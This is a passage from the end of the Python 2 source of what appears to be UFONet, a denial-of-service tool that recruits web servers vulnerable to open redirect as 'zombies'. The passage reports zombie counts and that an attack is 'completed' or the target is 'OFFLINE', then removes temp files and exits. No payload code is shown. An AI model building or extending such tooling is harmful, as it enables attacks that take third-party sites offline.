  2892. attack_mode = False
  2893. print ("\x1b[2J\x1b[H") # black magic
  2894. if not self.options.attackme: # show herd results
  2895. self.herd.dump()
  2896. else: # show doll results
  2897. print '='*21
  2898. print "\n[Info] - Mothership transmission...\n"
  2899. num_real_zombies = len(self.doll.real_zombies)
  2900. print "Total 'zombies' 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n"
  2901. for z in self.doll.real_zombies: # show only alien verified zombies
  2902. for x in z:
  2903. print " - " + str(x)
  2904. self.herd.dump_html(True) # show (all) zombies statistics
  2905. if not self.options.attackme:
  2906. print "\n[Info] - Attack completed! ;-)\n"
  2907. self.update_mothership_stats() # update mothership stats
  2908. else:
  2909. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  2910. print "\n[Info] - Not any 100% vulnerable zombie found... Bye!\n"
  2911. if os.path.exists('mothership') == True:
  2912. os.remove('mothership') # remove mothership stream
  2913. if os.path.exists('alien') == True:
  2914. os.remove('alien') # remove random alien worker
  2915. sys.exit(2)
  2916. else:
  2917. print "\nBye!\n"
  2918. if os.path.exists('mothership') == True:
  2919. os.remove('mothership') # remove mothership stream
  2920. if os.path.exists('alien') == True:
  2921. os.remove('alien') # remove random alien worker
  2922. if not options.web:
  2923. sys.exit(2) # exit
  2924. else:
  2925. return
  2926. else:
  2927. if not options.attackme:
  2928. print "[Info] Your target ("+target+") is OFFLINE!! ;-)"
  2929. else:
  2930. print "[Error] Your NAT/Network is not correctly configurated..."
  2931. print '-'*25
  2932. print "\nBye!\n"
  2933. if os.path.exists('mothership') == True:
  2934. os.remove('mothership') # remove mothership stream
  2935. if os.path.exists('alien') == True:
  2936. os.remove('alien') # remove random alien worker
  2937. if not options.web:
  2938. sys.exit(2) # exit
  2939. else:
  2940. return
  2941. if __name__ == "__main__":
  2942. app = UFONet()
  2943. options = app.create_options()
  2944. if options:
  2945. app.run()